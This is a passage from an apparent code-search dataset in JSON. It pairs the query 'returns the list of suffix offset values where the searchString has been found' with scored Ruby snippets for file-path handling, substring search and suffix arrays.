"text": "def find_file(path)\n # Absolute url, starting with /\n if path.value.match(%r{^\\/[^\\/]})\n File.join(@options[:roger_html_path], path.value)\n else\n # Relative url - we can join from .scss position\n File.join(File.dirname(@options[:filename]), path.value)\n end\n end",
"title": ""
},
{
"docid": "9b798f6d6f3466051a7fdf551ba72672",
"score": "0.6607022",
"text": "def file_path(file_name, target_name=file_name, mode=0600)\r\n _package_.build_file(target_name, file_name, mode)\r\n target_path target_name\r\n end",
"title": ""
},
{
"docid": "0ebc091f9853b4d9dcf17e0b02a1a29c",
"score": "0.6577159",
"text": "def file_path\n \"#{Time.now.to_f}.#{filename}\"\n end",
"title": ""
},
{
"docid": "835f7c25b529947d4bb05c44274796a1",
"score": "0.65743107",
"text": "def full_path\n must_be File\n File.realpath(self.path)\n end",
"title": ""
},
{
"docid": "c81d754eba9e1053238fc3c019825a60",
"score": "0.6559471",
"text": "def absolute_path(path)\n path = Pathname.new(path)\n return Pathname.new(@config.base_path) + path unless path.absolute?\n path\n end",
"title": ""
},
{
"docid": "af255f42105f8ea17a73c9d8816dbf99",
"score": "0.6556129",
"text": "def full_path\n File.join(@path, @name)\n end",
"title": ""
},
{
"docid": "2772d641744140820e479bbce3200e00",
"score": "0.65429425",
"text": "def target_file_path\n model.source_location(target_symbol)[:file_path]\n end",
"title": ""
},
{
"docid": "9e6ddf5b4d38cb72ebc873b6fc78e295",
"score": "0.6530903",
"text": "def _wp_get_attachment_relative_path( file )\n dirname = File.dirname( file )\n return '' if dirname == '.'\n\n if dirname.include? 'wp-content/uploads'\n # Get the directory name relative to the upload directory (back compat for pre-2.7 uploads)\n dirname = dirname[dirname.index('wp-content/uploads') + 18 .. -1]\n dirname.gsub!(/^\\//, '')\n end\n dirname\n end",
"title": ""
},
{
"docid": "fc80dbb53cca30570db5eda8d27755d3",
"score": "0.6530035",
"text": "def find_file_path(filename)\n filepath=\"#{ENV['IMPORT_PATH']}/#{filename}\"\n #filepath = Dir.glob(\"#{ENV['IMPORT_PATH']}/#{filename}\").first\n raise \"Cannot find file #{filename}... Are you sure it has been uploaded and that the filename matches?\" if filepath.nil?\n filepath\n end",
"title": ""
},
{
"docid": "14ca3108d5d79be9d8001eae99c43bfd",
"score": "0.65299857",
"text": "def basedir\n File.dirname File.absolute_path options[:file]\n end",
"title": ""
},
{
"docid": "4aa247424a91a0c82a639a69ad917d27",
"score": "0.65180093",
"text": "def get_attachment_path filename, event_id\n Rails.root.join('public', 'files', 'attachments', event_id, filename)\n end",
"title": ""
},
{
"docid": "d1ac1045b3fd5c49e94445dc5540140f",
"score": "0.65020293",
"text": "def absolute_path(path, reference = @pwd)\n path = File.expand_path(File.join(reference, path)) unless path.start_with? '/'\n path\n end",
"title": ""
},
{
"docid": "a4cd4eece147c06001592f3e4777f3e7",
"score": "0.64936024",
"text": "def file_name\n File.basename @path\n end",
"title": ""
},
{
"docid": "547c73559594a711ecbe4a0fe38ad59a",
"score": "0.6493432",
"text": "def full_path\n \"templates/#{filename}\"\n end",
"title": ""
},
{
"docid": "338fca73964ba73048fb6e4394358b7b",
"score": "0.647938",
"text": "def path_of(path)\n File.join(self.path, path)\n end",
"title": ""
},
{
"docid": "9c60270736564d3e56af1e52c23d3f27",
"score": "0.6470835",
"text": "def get_file_uri_path(uri)\n uri.sub(%r{\\Afile://}, '')\n end",
"title": ""
},
{
"docid": "56fc43163343fa52c8c6b958509bc1f4",
"score": "0.646574",
"text": "def dest_path( file )\n return File.join( ENV['HOME'], \".#{file}\" )\n end",
"title": ""
},
{
"docid": "ddb45a54ca3ca72e29857d2436e85d6a",
"score": "0.64611244",
"text": "def filepath_to_fullpath(filepath)\n _filepath = File.expand_path(filepath)\n _rootpath = File.expand_path(self.root_dir)\n\n fullpath = _filepath.gsub(File.join(_rootpath, '/'), '')\n\n fullpath.gsub!(/^\\.\\//, '')\n\n fullpath.split('.').first.dasherize\n end",
"title": ""
},
{
"docid": "3448988af509270b61efb91c34dd97ed",
"score": "0.64560634",
"text": "def canonicalize\n FilePath.new(File.expand_path(to_s))\n end",
"title": ""
},
{
"docid": "a41115ca68dabd12177de21d42f396c7",
"score": "0.6454666",
"text": "def path\n @filename\n end",
"title": ""
},
{
"docid": "a10b91b20f2416e74bbdee7a003d5551",
"score": "0.64525425",
"text": "def current_path\n file.try(:path)\n end",
"title": ""
},
{
"docid": "2b6e530d6fb5d7bb920be3af4d521280",
"score": "0.6451887",
"text": "def get_file_uri_path(uri)\n uri.sub(%r{\\Afile://}, '')\n end",
"title": ""
}
] |
304c6bd79b7aef369177054e5cc8272a | returns the list of suffix offset values where the searchString has been found | [
{
"docid": "161e0b2492db710eae66cac2153acb36",
"score": "0.0",
"text": "def findString(searchString)\n node = self.findNode(StringDataSource.new(searchString))\n return self.findResults(node)\n end",
"title": ""
}
] | [
{
"docid": "2acfdf108b9546d686b9dcb00e8e9d12",
"score": "0.6815445",
"text": "def find_suffixes(word)\n matched_regexps = []\n result = []\n suffix_regexps.each_with_index do |regexp_str, regexp_i|\n regexp = Regexp.new(regexp_str)\n if (matched = regexp.match(word))\n matched_regexps << [matched.begin(0), matched.end(0), regexp_i]\n end\n end\n\n unless matched_regexps.length.zero?\n matched_regexps.sort_by! { |matched| matched[1] }\n matched_regexps.sort_by! { |matched| matched[0] }\n work_indexs = []\n pre_start = pre_end = nil\n matched_regexps.each do |matched|\n if pre_start != matched[0] || pre_end != matched[1]\n result << [pre_start, pre_end, work_indexs] unless pre_start.nil?\n work_indexs = []\n pre_start = matched[0]\n pre_end = matched[1]\n work_indexs << matched[2]\n else\n work_indexs << matched[2]\n end\n end\n result << [pre_start, pre_end, work_indexs]\n end\n\n result\n end",
"title": ""
},
{
"docid": "100896ac5a1ea76c16c6e327cfc962f1",
"score": "0.65992445",
"text": "def suffix_search substring\r\n i = self.suffix_index substring\r\n return nil if i.nil?\r\n @string[self.substring_index(i)..-1]\r\n end",
"title": ""
},
{
"docid": "0b151fd3f4e10736af88d33a75db5c62",
"score": "0.6559838",
"text": "def get_string_offsets(string, string_lookups)\n\tstring_lookups.map do |lookup|\n\t\toffset = lookup_string(lookup, string)\n\n\t\tif offset != nil\n\t\t\toffset\n\t\telse\n\t\t\t0\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "684970db7e747d39cba7079f754b5fa0",
"score": "0.6082776",
"text": "def find_all_substring_indices_without_mismatch(the_substring)\n\n # invariant suffix_at(@suffix_array[lower]) <= the_substring <=\n # suffix_at(@suffix_array[upper])\n lower = 0\n upper = @last_index \n len = the_substring.size - 1\n \n found = false\n while (lower < upper)\n mid = (lower + upper) / 2\n # puts \"#{lower}, #{mid}, #{upper}\"\n comparison = suffix_at(@suffix_array[mid])[0..len]\n if (the_substring > comparison)\n lower = mid + 1\n elsif (the_substring < comparison)\n upper = mid\n else\n # We have an exact match.\n found = true\n break\n end\n end\n\n # puts \"#{lower}, #{mid}, #{upper}\"\n if found\n # Search left and right for the extents of the range.\n lower = upper = mid\n while (the_substring == suffix_at(@suffix_array[lower-1])[0..len])\n lower -= 1\n end\n while (the_substring == suffix_at(@suffix_array[upper+1])[0..len])\n upper += 1\n end\n list = @suffix_array[lower..upper].sort\n else\n list = []\n end\n\n return list\n end",
"title": ""
},
{
"docid": "309c5dfde5cf2247f44414bec6b9bce1",
"score": "0.606641",
"text": "def find_all_substring_indices_double_binary(the_substring)\n\n # invariant suffix_at(@suffix_array[lower]) <= the_substring <=\n # suffix_at(@suffix_array[upper])\n lower = 0\n upper = @last_index \n len = the_substring.size - 1\n \n while (lower < upper)\n mid = (lower + upper) / 2\n # puts \"#{lower}, #{mid}, #{upper}\"\n if (the_substring > suffix_at(@suffix_array[mid])[0..len])\n lower = mid + 1\n else\n upper = mid\n end\n end\n start = lower\n upper = @last_index\n while (lower < upper)\n mid = (lower + upper) / 2\n # puts \"#{lower}, #{mid}, #{upper}\"\n if (the_substring == suffix_at(@suffix_array[mid])[0..len])\n lower = mid\n else\n upper = mid - 1\n end\n end\n\n # puts \"#{start}, #{lower}, #{mid}, #{upper}\"\n list = @suffix_array[start..upper].sort\n\n return list\n end",
"title": ""
},
{
"docid": "b0a4e751651f1647958b3d5b41f2d619",
"score": "0.6024418",
"text": "def find_match_locations( string, re )\n md = string.match( re )\n locations = []\n counter = 0\n while md\n # save the match index relative to the original string\n locations << (counter += md.begin(0))\n # find the next match\n md = string[ (counter += 1)..-1 ].match( re )\n end\n locations\n end",
"title": ""
},
{
"docid": "7abb8285dbead651033217d734bca74f",
"score": "0.59895587",
"text": "def extract_substring_positions(text, substr)\n positions = []\n scanner = StringScanner.new(text)\n positions << scanner.pos while scanner.scan(/(.*?)#{substr}/)\n positions\n end",
"title": ""
},
{
"docid": "1e650a6daddae62c4516f9b6de222396",
"score": "0.59515226",
"text": "def extract_substring_positions(text, substr)\n positions = []\n scanner = StringScanner.new(text)\n positions << scanner.charpos while scanner.scan(/(.*?)#{substr}/)\n positions\n end",
"title": ""
},
{
"docid": "2e29ff27876caf1d66f918c196e30e8e",
"score": "0.58779365",
"text": "def search(haystack, needle)\n return needle if haystack.include?(needle)\n\n counter = haystack.size\n while counter > 0\n sub_strings = needle.scan(/.{#{counter}}/)\n sub_strings.each do |substring|\n return substring if haystack.include?(substring)\n end\n counter = counter - 1\n end\nend",
"title": ""
},
{
"docid": "3b4394214bd3b967a3a87db3aaf277fb",
"score": "0.58662516",
"text": "def find_with_offsets text, offset\n index = index(text)\n start = [0, index - offset].max\n _end = index + text.size\n [self[start...index], text, self[_end, offset]]\n end",
"title": ""
},
{
"docid": "eb67a1591b2151cee4e151efd6d4178c",
"score": "0.5855934",
"text": "def custom_index (string, substring)\r\n # Return nil if substring not found in string\r\n # Return index position of substring if found in string\r\n return nil unless string.include?(substring)\r\n i = 0\r\n c = 0\r\n checked = \"\"\r\n\r\n while i < string.length\r\n unless string[i] == substring[c]\r\n c = 0\r\n checked = \"\"\r\n return nil if i == string.length - 1\r\n else\r\n checked << string[i]\r\n return (i-c) if substring == checked\r\n c += 1\r\n end\r\n i += 1\r\n end\r\n\r\nend",
"title": ""
},
{
"docid": "24e93d8b74f0602730d2c10542ad89a5",
"score": "0.58231103",
"text": "def get_motif (dna_seq, substring)\r\n pos = []\r\n for index in (0..(dna_seq.length - substring.length))\r\n if dna_seq[index...(index + substring.length)] == substring\r\n pos.push(index + 1)\r\n end\r\n end \r\n return pos\r\nend",
"title": ""
},
{
"docid": "6a2134fd6d9982dc95756bcc5967471c",
"score": "0.5794987",
"text": "def find_all needle, options = {}\n options[:align] ||= 1\n options[:limit] ||= @find_limit\n\n if needle.is_a?(Fixnum)\n # silently convert to DWORD\n needle = [needle].pack('L')\n end\n\n r = []\n if options[:align] == 1\n # fastest find?\n processed_bytes = 0\n sections.each do |section|\n next unless section.data # skip empty sections\n section.data.scan(needle) do\n r << $~.begin(0) + section.va\n end\n processed_bytes += section.vsize\n return r if processed_bytes >= options[:limit]\n end\n end\n r\n end",
"title": ""
},
{
"docid": "fa66ae54d965f29e15956223c82cb9a9",
"score": "0.5794527",
"text": "def match_index(str, pattern)\n res = []\n str.scan(pattern) { res << Regexp.last_match.offset(0).first}\n return res\n end",
"title": ""
},
{
"docid": "d1fff87e5705d655f2f2a2fd11a7c521",
"score": "0.5746457",
"text": "def suffix_array text\n sufs = {}\n 0.upto(text.length - 1){|i| sufs[text[i..text.length]] = i}\n lexo_sufs = sufs.keys.sort\n array = []\n lexo_sufs.each{|s| array << sufs[s]}\n array\nend",
"title": ""
},
{
"docid": "de05d9bbeacffa16aca52450cf2b2629",
"score": "0.57192504",
"text": "def matches_indices(search_string, pattern, stop_at_first_match=false)\n table = BadMatchTable.new(pattern)\n i = pattern.size - 1\n indices = []\n while i < search_string.size\n for j in 0...pattern.size\n if search_string[i-j] != pattern[pattern.size-1-j]\n i += table.slide_offset(search_string[i-j])\n break\n elsif j == pattern.size-1\n indices.append(i-j)\n return indices if stop_at_first_match\n i += 1\n end\n end\n end\n indices\nend",
"title": ""
},
{
"docid": "c1d260751c3ec09ca243a7a913899b2e",
"score": "0.57070374",
"text": "def custom_index(string, substring)\n #Return nil if subsring not found in substring\n #Return index position of substring if found in string\n return nil unless string.include?(substring)\n length = substring.length\n string.chars.each_with_index do |char, index|\n sequence = string[index, length]\n return index if sequence == substring\n end\nend",
"title": ""
},
{
"docid": "f4be412cdbd698facd94328b0948655e",
"score": "0.5691272",
"text": "def findSubStringPosition(str1, str2)\n str1_arr = str1.scan('')\n str1_arr.each_with_index do |outer, i|\n str1_arr.each_with_index do |inner, j|\n if str1[i..j] == str2\n puts i\n end\n end\n end\n nil\nend",
"title": ""
},
{
"docid": "f2732c5d8ef4c3ce9454b80872c0aa3d",
"score": "0.56783485",
"text": "def suffixes(str, length)\n result = []\n str_len = str.length\n str = str[0..length-1]\n\n raise Exception.new(\"match table length cannot exceeds string length\") if length > str_len\n\n (length-1).downto(1).each do |len|\n result.push str[str_len-len..str_len-1]\n end\n\n result\nend",
"title": ""
},
{
"docid": "5082e7a69f7276cf99bbdba2ef873a4e",
"score": "0.5646726",
"text": "def find_substrings(str)\n arr_substr = []\n idx = 0\n\n loop do\n upper_range = idx\n\n loop do\n arr_substr << str[idx..upper_range]\n upper_range += 1\n break if str[upper_range] == nil\n end\n \n idx += 1\n break if idx >= str.length\n end\n arr_substr.flatten\nend",
"title": ""
},
{
"docid": "f7772635f82e57e749209177db362bda",
"score": "0.5644904",
"text": "def substring_index substring\r\n i = self.suffix_index substring\r\n return nil if i.nil?\r\n self.index i\r\n end",
"title": ""
},
{
"docid": "3539fb2e5c9ce9fe1ab291228cb4c6b8",
"score": "0.55975306",
"text": "def needle_haystack(haystack)\n # TODO\nend",
"title": ""
},
{
"docid": "4fb5622f9bea5287a4e34e0d17382131",
"score": "0.5567818",
"text": "def custom_index(string, substring)\n return nil unless string.include?(substring)\n\n length = substring.length\n string.chars.each_with_index do |_char, index|\n sequence = string[index, length] # starts extracting at index and takes\n # as many characters as the called length argument has\n return index if sequence == substring\n end\nend",
"title": ""
},
{
"docid": "4b09f356867e2b931b9925ae09e61d5d",
"score": "0.55587924",
"text": "def custom_index(string, substring)\n return nil unless string.include?(substring)\n length = substring.length\n string.chars.each_with_index do |elem, index|\n sequence = string[index, length]\n return index if sequence == substring\n end\nend",
"title": ""
},
{
"docid": "29033d7e9e009809017416110f807522",
"score": "0.5531364",
"text": "def offsets(s1, s2)\n operations = Levenshtein.new.edits(s1, s2)\n offsets = []\n counter = 0\n operations.reverse.each do |operation|\n case operation.move\n when :replace # advance counter forward and do not modify ranges\n counter += 1\n when :insert # shift all ranges after the counter ahead 1\n offsets << [counter, +1]\n counter += 1\n when :delete # shift all ranges after the counter back 1\n offsets << [counter, -1]\n end\n end\n\n return offsets\n end",
"title": ""
},
{
"docid": "6b715c20ec620908d0ff1e170b63292e",
"score": "0.5531074",
"text": "def custom_index(string, substring)\r\n return nil unless string.include?(substring)\r\n length = substring.length\r\n string.chars.each_with_index do |char, index|\r\n sequence = string[index, length]\r\n return index if sequence == substring\r\n end\r\nend",
"title": ""
},
{
"docid": "e411963f5d60349a609fa73a9e6214df",
"score": "0.5528644",
"text": "def custom_index(string, substring)\n return nil unless string.include?(substring)\n length = substring.length\n string.chars.each_with_index do |char, index|\n sequence = string[idex, length]\n return index if sequence == substring\n end\nend",
"title": ""
},
{
"docid": "a71cc2c9c8422853f6199b4fe44de57b",
"score": "0.55274904",
"text": "def get_string1_index_array(array_to_search)\n\t\tlength_of_string1_array = @string1_array.length\n\t\tindex = 0\n\t\tstring1_occurances_index = []\n\t\tarray_to_search.each do |word|\n\t\t\tif @string1_array[0] == word\n\t\t\t\tsliced_array = array_to_search.slice(index, length_of_string1_array)\n\t\t\t\tif sliced_array == @string1_array\n\t\t\t\t\tstring1_occurances_index << index\n\t\t\t\tend\n\t\t\tend\n\t\t\tindex = index + 1\n\t\tend\n\t\treturn string1_occurances_index\n\tend",
"title": ""
},
{
"docid": "15b547993eaf27031cee4fb652b3f2e0",
"score": "0.552025",
"text": "def custom_index(string, substring)\n return nil unless string.include?(substring)\n length = substring.length\n string.chars.each_with_index do |char, index|\n sequence = string[index, length]\n return index if sequence == substring\n end\nend",
"title": ""
},
{
"docid": "d462c9304efc42f4be22e660e38a6b29",
"score": "0.54810405",
"text": "def find_between(text, offset, start_string, end_string)\n start_offset = text.index start_string, offset\n return [nil, nil] if start_offset.nil?\n start_offset = start_offset + start_string.length\n end_offset = text.index end_string, start_offset\n length = end_offset - start_offset\n [text.slice(start_offset, length), end_offset]\nend",
"title": ""
},
{
"docid": "89e5b8c00e32e795ea491db7e21a9c7e",
"score": "0.5466274",
"text": "def get_string2_index_range(array_to_search, string1_occurances_index)\n\t\ttwo_d_index_range_to_search_for_string2 = []\n\t\tstring1_occurances_index.each do |index|\n\t\t\tif index - @locality < 0\n\t\t\t\tfirst_index = 0\n\t\t\telse\n\t\t\t\tfirst_index = index - @locality\n\t\t\tend\n\t\t\tif index + @locality + @string1_array.length > array_to_search.length - 1\n\t\t\t\tlast_index = array_to_search.length - 1\n\t\t\telse\n\t\t\t\tlast_index = index + @locality + @string1_array.length\n\t\t\tend\n\t\t\ttwo_d_index_range_to_search_for_string2 << (first_index..last_index).to_a\n\t\tend\n\t\tflat_array = []\n\t\titerator = 0\n\t\ttwo_d_index_range_to_search_for_string2.each do |i|\n\t\t\ttwo_d_index_range_to_search_for_string2[iterator].each do |j|\n\t\t \tflat_array << j\n\t\t\tend\n\t\t\titerator = iterator + 1\n\t\tend\n\t\treturn flat_array.uniq\n\tend",
"title": ""
},
{
"docid": "9fbc051fac335d3db13bec962843dd4a",
"score": "0.5462775",
"text": "def find_needle haystack\n\t\"needle is found on index \" + haystack.find_index('needle').to_s\nend",
"title": ""
},
{
"docid": "e2753e28be936e51c94ce8f8d58b845d",
"score": "0.5462376",
"text": "def substr_rabin_karp(needle)\n puts \"Looking for #{needle} in #{self}\"\n h_needle = needle.hash\n (0..(self.size - needle.size)).each do |i|\n sub = self.slice(i,i + needle.size)\n h_sub = sub.hash\n if h_needle == h_sub\n return i if needle == sub\n end\n end\n\n\n return nil\n end",
"title": ""
},
{
"docid": "1c38643a04e66b2812944d2bab40f6b3",
"score": "0.54590195",
"text": "def find_substrings(string)\n substrings = []\n 0.upto(string.length-1) do |index1|\n (index1 + 1).upto(string.length-1) do |index2|\n substrings << string[index1..index2]\n end\n end\n substrings\nend",
"title": ""
},
{
"docid": "13950693fc52fe19127d19781ba41b23",
"score": "0.54357105",
"text": "def custom_index(string, substring)\n return nil unless string.include?(substring)\n length = substring.length\n string.chars.each_with_index do |char, index|\n sequence = string[index, length]\n return index if sequence == substring\n end\n end",
"title": ""
},
{
"docid": "91e7ac80bc990c8af140357e57f439bd",
"score": "0.54251295",
"text": "def find_substring(s, words)\n\tindices = []\n\tjoins = []\n joins << words.join\n joins << words.reverse.join\n \n joins.each { |concat| indices << s.index(concat) if s.include?(concat) }\n indices\nend",
"title": ""
},
{
"docid": "a57a267918fbc0151ac00e6c8756850a",
"score": "0.5424892",
"text": "def index_of_suffix(x)\n a = flatten\n b = x.flatten\n (0.max(a.size-b.size)...a.size).each do |i|\n return i if (0...b.size.min(a.size-i)).all? do |j|\n a[i+j] == b[j]\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "68a909306a00028f2673aea435964b8f",
"score": "0.54245526",
"text": "def search(text)\n n = text.length\n i,j = 0, 0\n for i in (0...n)\n for j in (0...m)\n j = @dfa[text[i]][j]\n end\n if (j == m)\n return (i - m)\n else\n return n\n end\n end\n end",
"title": ""
},
{
"docid": "fd5d8e8d623e66e0f9f213aa431ab635",
"score": "0.5417994",
"text": "def custom_index(string, search_characters)\n return nil unless string.include?(search_characters)\n length = search_characters.length\n string.chars.each_with_index do |letter, i|\n seq = string[i, length]\n return index_found = i if seq == search_characters\n end # end of do\nend",
"title": ""
},
{
"docid": "d2c5e3f290d597211c192bcd6cf6b2a6",
"score": "0.5412191",
"text": "def _find_chunk_and_offset(offset)\n\t\t\tj = 0\n\t\t\twhile j < @delimiters.size - 1\n\t\t\t\tbreak if @delimiters[j + 1] > offset\n\t\t\t\tj += 1\n\t\t\tend\n\n\t\t\treturn [ @chunks[j], offset - @delimiters[j] ]\n\t\tend",
"title": ""
},
{
"docid": "39a449d3d29373bbddb94f73230b8a61",
"score": "0.539897",
"text": "def suffix_find(ceremony_name)\n array = ceremony.to_s.split(\"\")\n if array.last == \"1\"\n \"st\"\n elsif array.last == \"2\"\n \"nd\"\n elsif array.last == \"3\"\n \"rd\"\n else\n \"th\"\n end\nend",
"title": ""
},
{
"docid": "8d40bf5908399ef7397a6faa7f9065d9",
"score": "0.5397808",
"text": "def index(search, offset = 0)\n if offset < 0 then\n offset += self.length\n return nil if offset < 0\n end\n\n case search\n when Regexp then # nop\n when Fixnum then\n search = /#{Regexp.escape search.chr}/\n else\n search = /#{Regexp.escape convert(search)}/\n end\n\n pos = self[offset..-1] =~ search\n return pos.nil? ? nil : pos + offset\n end",
"title": ""
},
{
"docid": "3bbfc77ccd586510139dedc59901834c",
"score": "0.5388917",
"text": "def find_needle(haystack)\n \"found the needle at position #{haystack.index('needle')}\"\nend",
"title": ""
},
{
"docid": "3bbfc77ccd586510139dedc59901834c",
"score": "0.5388917",
"text": "def find_needle(haystack)\n \"found the needle at position #{haystack.index('needle')}\"\nend",
"title": ""
},
{
"docid": "521eca169ed9c5ad2004f628126ff88e",
"score": "0.5387408",
"text": "def find_substrings(str)\n sub_str = []\n \n (0...str.size).each do |s_index|\n (s_index...str.size).each do |e_index|\n sub_str << str[s_index..e_index]\n end\n end\n sub_str\nend",
"title": ""
},
{
"docid": "822eebdfd7ff145ec629f79166670243",
"score": "0.5383359",
"text": "def find(inF, start, pattern)\n for i in Range.new(start,inF.length-1)\n if inF[i] =~ pattern\n return i-1\n end\n end\nend",
"title": ""
},
{
"docid": "7f1e4efdc2f55fa0bd7507807daeda0b",
"score": "0.53813493",
"text": "def common_prefix_search(word)\n word += @terminal.chr\n res = []\n base, check = @base[1], 1\n word.split('').each_with_index do |char, i|\n i, t = base+char[0], base+@terminal\n res << [-@base[t], i+1] if check == @check[t]\n break if !@base[i] || (@check[i] != check)\n \tbase, check = @base[i], i\n end\n res\n end",
"title": ""
},
{
"docid": "78f18f12354ea8ceb1c428d670a49ecb",
"score": "0.5375863",
"text": "def custom_index(string, substring)\r\n string.each_char do |char|\r\n if substring.include?(char)\r\n end\r\n end\r\nend",
"title": ""
},
{
"docid": "cbdd78ffd528d9ba3e410d7e865e8b8f",
"score": "0.5364333",
"text": "def mine_location(f)\n f.each_with_index {|s,i| return i, s.index(1) if s.include?(1)}\nend",
"title": ""
},
{
"docid": "bb4a390db16bff479028d2fbe5889363",
"score": "0.535659",
"text": "def index(substr[, pos])\n end",
"title": ""
},
{
"docid": "ed14ba16c1c94a2242670f16bf6a9c90",
"score": "0.5354115",
"text": "def OLDnext_match str\n _calculate_column_offsets unless @coffsets\n first = nil\n ## content can be string or Chunkline, so we had to write <tt>index</tt> for this.\n @list.each_with_index do |fields, ix|\n #col = line.index str\n #fields.each_with_index do |f, jx|\n #@chash.each_with_index do |c, jx|\n #next if c.hidden\n each_column do |c,jx|\n f = fields[c.index]\n # value can be numeric\n col = f.to_s.index str\n if col\n col += @coffsets[jx]\n first ||= [ ix, col ]\n if ix > @current_index\n return [ix, col]\n end\n end\n end\n end\n return first\n end",
"title": ""
},
{
"docid": "7def9a2ddb17b9eb1ba90fdb0e1d25ec",
"score": "0.535278",
"text": "def index(needle, offset=0)\n offset = Rubinius::Type.coerce_to offset, Integer, :to_int\n offset = @num_bytes + offset if offset < 0\n\n return nil if offset < 0 || offset > @num_bytes\n\n needle = needle.to_str if !needle.instance_of?(String) && needle.respond_to?(:to_str)\n\n # What are we searching for?\n case needle\n when Fixnum\n return nil if needle > 255 or needle < 0\n return find_string(needle.chr, offset)\n when String\n return offset if needle == \"\"\n\n needle_size = needle.size\n\n max = @num_bytes - needle_size\n return if max < 0 # <= 0 maybe?\n\n return find_string(needle, offset)\n when Regexp\n if match = needle.match_from(self, offset)\n Regexp.last_match = match\n return match.begin(0)\n else\n Regexp.last_match = nil\n end\n else\n raise TypeError, \"type mismatch: #{needle.class} given\"\n end\n\n return nil\n end",
"title": ""
},
{
"docid": "9678cba9b561c58087164b84351d7fe3",
"score": "0.53335005",
"text": "def substrings_at_start(str)\n result_array = []\n 1.upto(str.size) { |x| result_array << str[0, x] }\n result_array\nend",
"title": ""
},
{
"docid": "44ab59e126a9ae336f570b43e2baaf4b",
"score": "0.5331436",
"text": "def find_needle(haystack)\n y = (haystack.index{|obj|obj=='needle'})\n return 'found the needle at position ' + y.to_s\nend",
"title": ""
},
{
"docid": "0e9da89c584249521393da0452636870",
"score": "0.5325865",
"text": "def find(i, prefix: nil)\n @tokens.each do |s, data|\n if data[0] == i\n return (prefix && s.start_with?(prefix)) ? s[prefix.length..-1] : s\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "4103ff6221488a7a0bffddf32df912be",
"score": "0.53241736",
"text": "def substrings(string)\n results = []\n (0...string.size).each do |start_index|\n this_substring = string[start_index..-1]\n results.concat(substrings_at_start(this_substring))\n end\n results\nend",
"title": ""
},
{
"docid": "2f81e8db9b032a59d831596194ee0556",
"score": "0.5321196",
"text": "def find_kterm_index(pattern) #, genome)\n results = []\n for i in 0..@genome.length do\n if @genome[i..i+pattern.length-1] == pattern\n results.push(i)\n end\n end\n return results #.keys.sort\n end",
"title": ""
},
{
"docid": "a698d4317ee23730482f69c813e9abdc",
"score": "0.5316737",
"text": "def substrings_at_start(string)\n (0...string.size).map do |length|\n string[0..length]\n end\nend",
"title": ""
},
{
"docid": "bc2f82c9fbc1f1209d80b541588356fe",
"score": "0.5308056",
"text": "def helper_index s\n result = s.index /(_word_is$|_word_begins$)/\n result = s.index /(_is$|_are$|_begins$|_contains$|_start_date$|_end_date$)/ if result == nil\n result = nil if result == 0\n result\n end",
"title": ""
},
{
"docid": "da91684c0a64fee3687aa0a6822f7901",
"score": "0.5303298",
"text": "def my_string_index(haystack,needle)\n haystack_array = haystack.split(\"\")\n haystack_array.each do |character, index|\n if character == needle \n return index \n else\n return -1 \n end\n end\n\n end",
"title": ""
},
{
"docid": "a196a4ec62e4dda6ed36ff55d0a2e1b2",
"score": "0.53024",
"text": "def index_string(string, substring)\n i = 0 \n output = nil\n while i < string.length-1\n if string[i..(i+substring.length)] == substring\n output = i\n end\n i += 1\n end\n return output\nend",
"title": ""
},
{
"docid": "3eebf37812b28c882dcde0789c8762ac",
"score": "0.529533",
"text": "def custom_index(string, substring)\r\n string.index(substring)\r\nend",
"title": ""
},
{
"docid": "9c5647da88651b27b19e62169bda5977",
"score": "0.529417",
"text": "def find_substring(s, words)\n return [] if words.empty?\n\n indices = []\n\n word_length = words.first.length\n\n word_counts = words.each_with_object({}) do |word, counts|\n counts[word] ? counts[word] += 1 : counts[word] = 1\n end\n\n (s.length - words.join.length + 1).times do |start_index|\n i = start_index\n counts = word_counts.dup\n while counts[s[i, word_length]] && counts[s[i, word_length]] > 0\n counts[s[i, word_length]] -= 1\n i += word_length\n end\n indices.push(start_index) if counts.values.all?(&:zero?)\n end\n\n indices\nend",
"title": ""
},
{
"docid": "e563f2d7c23f45106cc05eb4e51a304a",
"score": "0.5291525",
"text": "def needle_in_haystack(haystack, needle)\n\nend",
"title": ""
},
{
"docid": "b38fca52f83b551bd4c7208a83d3e7c8",
"score": "0.5279534",
"text": "def substrings_at_start(string)\n result_array = []\n 0.upto(string.size - 1) do |index|\n result_array << string.slice(0..index)\n end\n result_array\nend",
"title": ""
},
{
"docid": "b38fca52f83b551bd4c7208a83d3e7c8",
"score": "0.5279534",
"text": "def substrings_at_start(string)\n result_array = []\n 0.upto(string.size - 1) do |index|\n result_array << string.slice(0..index)\n end\n result_array\nend",
"title": ""
},
{
"docid": "96f7b5a91464be8f27646e1641b7c693",
"score": "0.52785397",
"text": "def find_subs(str)\n result = []\n str.chars.each_index do |idx|\n i_idx = idx # set the starting point of the i_idx to idx\n loop do\n break if i_idx > (str.size - 1)\n result << str[idx..i_idx]\n i_idx += 1\n end\n end\n p result\nend",
"title": ""
},
{
"docid": "8025a4ed95dbd9238cb6c11ae797a22c",
"score": "0.5272491",
"text": "def substrings(str)\n result_final = []\n (0..str.size - 1).each do |idx2|\n result_final << substrings_at_start(str[idx2..str.size - 1])\n end\n result_final.flatten\nend",
"title": ""
},
{
"docid": "875316bedfdfddc46948fb87e900e881",
"score": "0.5270176",
"text": "def calculate_term_offsets(page)\n term_offsets=Hash.new\n page.future_matches.each{|match|\n index = page.raw_body.index(match.term.text)\n term_offsets[index]=match.term.text if index \n }\n term_offsets\n end",
"title": ""
},
{
"docid": "4e4df280451e9c2b246e16e57c4475bf",
"score": "0.5269943",
"text": "def substrings_at_start(str)\r\n results = []\r\n str.chars.each_index { |idx| results << str[0..idx] }\r\n results\r\nend",
"title": ""
},
{
"docid": "4608be28202fd0f987f18c1e236a4027",
"score": "0.5269346",
"text": "def find_end_pos\n find_pos { start_pos + mark.length - 1 }\n end",
"title": ""
},
{
"docid": "23b5644302057b7e5211f6fdc4ff23e3",
"score": "0.52680546",
"text": "def string_each_index s, pattern\n offset = 0\n while (i = s.index pattern, offset)\n yield i, s\n offset = i + 1\n end\nend",
"title": ""
},
{
"docid": "69b43fd663ea4072952527b3b803da47",
"score": "0.52662027",
